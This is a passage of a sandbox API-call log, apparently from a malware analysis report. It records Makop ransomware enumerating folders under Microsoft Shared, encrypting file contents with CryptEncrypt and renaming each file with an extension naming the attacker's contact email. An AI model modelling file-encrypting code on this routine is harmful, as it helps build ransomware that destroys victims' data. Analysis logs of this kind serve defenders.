pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0095.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0095.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.186] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20eb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20eb8, lpOverlapped=0x0) returned 1 [0095.187] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20ec0, dwBufLen=0x20ec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20ec0) returned 1 [0095.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20ec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20ec0, lpOverlapped=0x0) returned 1 [0095.191] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.191] SetEndOfFile (hFile=0xf0) returned 1 [0095.200] GetProcessHeap () returned 0x48a0000 [0095.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.200] GetProcessHeap () returned 0x48a0000 [0095.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.200] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0095.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.201] CloseHandle (hObject=0xf0) returned 1 [0095.201] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0095.201] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0095.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.204] GetProcessHeap () returned 0x48a0000 [0095.204] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.204] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.204] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.204] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.205] GetProcessHeap () returned 0x48a0000 [0095.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0095.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.205] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0095.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.210] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.210] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.210] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59180, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59180, lpOverlapped=0x0) returned 1 [0095.219] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59180, dwBufLen=0x59180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59180) returned 1 [0095.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x59180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x59180, lpOverlapped=0x0) returned 1 [0095.226] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x59244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.226] SetEndOfFile (hFile=0xf0) returned 1 [0095.236] GetProcessHeap () returned 0x48a0000 [0095.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.236] GetProcessHeap () returned 0x48a0000 [0095.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.236] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0095.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.237] CloseHandle (hObject=0xf0) returned 1 [0095.237] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0095.237] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 66 [0095.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.239] GetProcessHeap () returned 0x48a0000 [0095.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.239] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.239] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0095.243] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.244] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.244] GetProcessHeap () returned 0x48a0000 [0095.244] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0095.244] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0095.244] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0095.244] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.244] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.245] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.245] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.245] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3574, lpOverlapped=0x0) returned 1 [0095.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3580, dwBufLen=0x3580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3580) returned 1 [0095.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3580, lpOverlapped=0x0) returned 1 [0095.247] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.247] SetEndOfFile (hFile=0xf0) returned 1 [0095.254] GetProcessHeap () returned 0x48a0000 [0095.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0095.254] GetProcessHeap () returned 0x48a0000 [0095.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.254] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0095.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.256] CloseHandle (hObject=0xf0) returned 1 [0095.256] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0095.256] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0095.256] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0095.256] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0095.256] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned 60 [0095.256] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*") returned 64 [0095.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0095.258] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.258] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0095.258] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0095.258] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0095.259] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0095.259] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned 57 [0095.259] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*") returned 61 [0095.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0095.264] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.265] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0095.265] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0095.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.265] GetLastError () returned 0x5 [0095.266] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0095.266] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0095.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.266] GetLastError () returned 0x5 [0095.266] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0095.266] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0095.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.268] GetLastError () returned 0x5 [0095.268] FindNextFileW (in: 